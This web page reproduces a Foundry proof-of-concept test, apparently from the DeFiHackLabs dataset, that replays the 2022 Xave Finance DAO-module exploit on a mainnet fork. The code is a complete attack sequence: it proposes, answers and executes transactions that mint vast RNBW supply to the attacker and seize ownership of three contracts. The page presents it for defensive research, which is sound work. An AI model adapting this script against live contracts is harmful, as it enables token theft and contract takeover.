Public reproduction file
src/test/2022-10/XaveFinance_exp.sol
Public reproduction file for dataset entry Xave Finance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : 100,000,000,000,000 RNBW8// Attacker : 0x0f44f3489D17e42ab13A6beb76E57813081fc1E29// Attack Contract : 0xE167cdAAc8718b90c03Cf2CB75DC976E24EE86D310// Vulnerable Contract : https://etherscan.io/address/0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F11// Attack Tx : https://etherscan.io/tx/0xc18ec2eb7d41638d9982281e766945d0428aaeda6211b4ccb6626ea7cff31f4a13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F#code16// @Analysis17// Article post mortem Xave Finance : https://medium.com/xave-finance/post-mortem-safenap-dao-module-bug-505958e9c71618// Article Andrei Simion : https://gist.github.com/andreiashu/da5909a7230ff67a8c3b4018a971727619// Twitter BeosinAlert : https://twitter.com/BeosinAlert/status/157904005185330380820// Twitter Ancilia : https://twitter.com/AnciliaInc/status/157895254292649165022contract Enum {23 enum Operation {24 Call,25 DelegateCall26 }27}29interface IDaoModule {30 function getTransactionHash(31 address to,32 uint256 value,33 bytes memory data,34 Enum.Operation operation,35 uint256 nonce36 ) external view returns (bytes32);38 function executeProposalWithIndex(39 string memory proposalId,40 bytes32[] memory txHashes,41 address to,42 uint256 value,43 bytes memory data,44 Enum.Operation operation,45 uint256 txIndex46 ) external;48 function addProposal(string memory proposalId, bytes32[] memory txHashes) external;50 function buildQuestion(string memory proposalId, bytes32[] memory txHashes) external pure returns (string memory);52 function questionIds(53 bytes3254 ) external returns (bytes32);55}57interface IRealitio {58 function submitAnswer(bytes32 question_id, bytes32 answer, uint256 max_previous) external payable;59}61interface IPrimaryBridge {62 function owner() external view returns (address);63}65contract XaveFinanceExploit is Test {66 IERC20 constant RNBW_TOKEN = IERC20(0xE94B97b6b43639E238c851A7e693F50033EfD75C);67 IERC20 constant LPOP_TOKEN = IERC20(0x6335A2E4a2E304401fcA4Fc0deafF066B813D055);68 IPrimaryBridge constant PRIMARY_BRIDGE = IPrimaryBridge(0x579270F151D142eb8BdC081043a983307Aa15786);69 IDaoModule constant DAO_MODULE = IDaoModule(0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F);70 IRealitio constant REALITIO = IRealitio(0x325a2e0F3CCA2ddbaeBB4DfC38Df8D19ca165b47);71 address constant ATTACKER_EOA = 0x0f44f3489D17e42ab13A6beb76E57813081fc1E2;72 address constant ATTACKER_CONTRACT = 0xE167cdAAc8718b90c03Cf2CB75DC976E24EE86D3;74 function setUp() public {75 vm.createSelectFork("mainnet", 15_704_736);76 // Adding labels to improve stack traces' readability77 vm.label(address(RNBW_TOKEN), "RNBW_TOKEN");78 vm.label(address(LPOP_TOKEN), "LPOP_TOKEN");79 vm.label(address(PRIMARY_BRIDGE), "PRIMARY_BRIDGE");80 vm.label(address(DAO_MODULE), "DAO_MODULE");81 vm.label(address(REALITIO), "REALITIO");82 vm.label(ATTACKER_EOA, "ATTACKER_EOA");83 vm.label(ATTACKER_CONTRACT, "ATTACKER_CONTRACT");84 vm.label(0x7eaE370E6a76407C3955A2f0BBCA853C38e6454E, "XAVE_GNOSIS_SAFE_MULTISIG");85 }87 function encodeWithSignature_mint(address to, uint256 amount) internal pure returns (bytes memory) {88 return abi.encodeWithSignature("mint(address,uint256)", to, amount);89 }91 function encodeWithSignature_transferOwnership(92 address to93 ) internal pure returns (bytes memory) {94 return abi.encodeWithSignature("transferOwnership(address)", to);95 }97 function testAttack() public {98 // tx to mint 100,000,000,000,000 RNBW tokens99 bytes32 tx0 = DAO_MODULE.getTransactionHash(100 address(RNBW_TOKEN),101 0,102 encodeWithSignature_mint(ATTACKER_EOA, 100_000_000_000_000_000_000_000_000_000_000),103 //hex"40c10f190000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e200000000000000000000000000000000000004ee2d6d415b85acef8100000000",104 Enum.Operation(0),105 0106 );108 // tx to transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)109 bytes32 tx1 = DAO_MODULE.getTransactionHash(110 address(RNBW_TOKEN),111 0,112 encodeWithSignature_transferOwnership(ATTACKER_EOA),113 //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",114 Enum.Operation(0),115 1116 );118 // tx to transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)119 bytes32 tx2 = DAO_MODULE.getTransactionHash(120 address(LPOP_TOKEN),121 0,122 encodeWithSignature_transferOwnership(ATTACKER_EOA),123 //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",124 Enum.Operation(0),125 2126 );128 // tx to transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)129 bytes32 tx3 = DAO_MODULE.getTransactionHash(130 address(PRIMARY_BRIDGE),131 0,132 encodeWithSignature_transferOwnership(ATTACKER_EOA),133 //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",134 Enum.Operation(0),135 3136 );138 // the txIDs generated using getTransactionHash()139 bytes32[] memory txIDs = new bytes32[](4);140 txIDs[0] = tx0;141 txIDs[1] = tx1;142 txIDs[2] = tx2;143 txIDs[3] = tx3;145 DAO_MODULE.addProposal("2", txIDs);146 string memory q = DAO_MODULE.buildQuestion("2", txIDs);147 bytes32 qID = DAO_MODULE.questionIds(keccak256(bytes(q)));148 REALITIO.submitAnswer{value: 1}(qID, bytes32(uint256(1)), 0);150 vm.warp(block.timestamp + 24 * 60 * 60);152 emit log_named_address("[Before proposal Execution] Owner of $RNBW: ", RNBW_TOKEN.owner());153 emit log_named_address("[Before proposal Execution] Owner of $LPOP: ", LPOP_TOKEN.owner());154 emit log_named_address("[Before proposal Execution] Owner of PrimaryBridge: ", PRIMARY_BRIDGE.owner());155 emit log_named_decimal_uint(156 "[Before proposal Execution] Attacker's $RNBW Token Balance: ", RNBW_TOKEN.balanceOf(ATTACKER_EOA), 18157 );159 vm.startPrank(ATTACKER_CONTRACT);161 // Execute mint 100,000,000,000,000 RNBW tokens162 DAO_MODULE.executeProposalWithIndex(163 "2",164 txIDs,165 address(RNBW_TOKEN),166 0,167 encodeWithSignature_mint(ATTACKER_EOA, 100_000_000_000_000_000_000_000_000_000_000),168 //hex"40c10f190000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e200000000000000000000000000000000000004ee2d6d415b85acef8100000000",169 Enum.Operation(0),170 0171 );173 // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)174 DAO_MODULE.executeProposalWithIndex(175 "2",176 txIDs,177 address(RNBW_TOKEN),178 0,179 encodeWithSignature_transferOwnership(ATTACKER_EOA),180 //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",181 Enum.Operation(0),182 1183 );185 // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)186 DAO_MODULE.executeProposalWithIndex(187 "2",188 txIDs,189 address(LPOP_TOKEN),190 0,191 encodeWithSignature_transferOwnership(ATTACKER_EOA),192 //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",193 Enum.Operation(0),194 2195 );197 // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)198 DAO_MODULE.executeProposalWithIndex(199 "2",200 txIDs,201 address(PRIMARY_BRIDGE),202 0,203 encodeWithSignature_transferOwnership(ATTACKER_EOA),204 //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",205 Enum.Operation(0),206 3207 );209 vm.stopPrank();211 emit log_string("--------------------------------------------------------------");212 emit log_named_address("[After proposal Execution] Owner of $RNBW: ", RNBW_TOKEN.owner());213 emit log_named_address("[After proposal Execution] Owner of $LPOP: ", LPOP_TOKEN.owner());214 emit log_named_address("[After proposal Execution] Owner of PrimaryBridge: ", PRIMARY_BRIDGE.owner());215 emit log_named_decimal_uint(216 "[After proposal Execution] Attacker's $RNBW Token Balance: ", RNBW_TOKEN.balanceOf(ATTACKER_EOA), 18217 );218 }219}Analysis
Dataset entry
Public Foundry test for “Xave Finance” (2022-10-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0f44f3489d17e42ab13a6beb76e57813081fc1e2
- Attack Contract
0xe167cdaac8718b90c03cf2cb75dc976e24ee86d3
- Vulnerable Contract
0x8f9036732b9aa9b82d8f35e54b71faeb2f573e2f
- Attack Tx
0xc18ec2eb7d41638d9982281e766945d0428aaeda6211b4ccb6626ea7cff31f4a
- Article: https://medium.com/xave-finance/post-mortem-safenap-dao-module-bug-505958e9c716
- Article: https://gist.github.com/andreiashu/da5909a7230ff67a8c3b4018a9717276
- Twitter: https://twitter.com/BeosinAlert/status/1579040051853303808
- Twitter: https://twitter.com/AnciliaInc/status/1578952542926491650
- Explorer: https://etherscan.io/address/0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F
- Explorer: https://etherscan.io/address/0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F#code
File record
- Name
- Xave Finance
- Path
- src/test/2022-10/XaveFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 69489a8dc54cbd44f8485b46dcc3bb9d534c7e13
- Language
- Solidity
- Size
- 220 lines
- Date
- 2022-10-09
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/XaveFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 69489a8dc54cbd44f8485b46dcc3bb9d534c7e13, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.